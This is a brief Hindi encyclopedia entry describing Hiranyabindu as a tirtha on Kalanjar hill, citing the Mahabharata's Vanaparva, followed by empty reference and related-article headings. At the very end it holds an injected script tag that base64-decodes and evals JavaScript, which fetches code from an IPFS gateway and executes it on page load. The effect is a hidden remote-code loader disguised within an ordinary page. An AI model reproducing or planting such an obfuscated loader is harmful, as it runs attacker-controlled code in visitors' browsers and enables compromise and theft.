हिरण्यविंदु को महाभारत[1] में कालंजर (कालिंजर) की पहाड़ी पर स्थित एक तीर्थ माना गया है-‘हिरण्यबिंदुःकथितो गिरौ कालंजरे महान्’।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ वनपर्व 87, 20
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>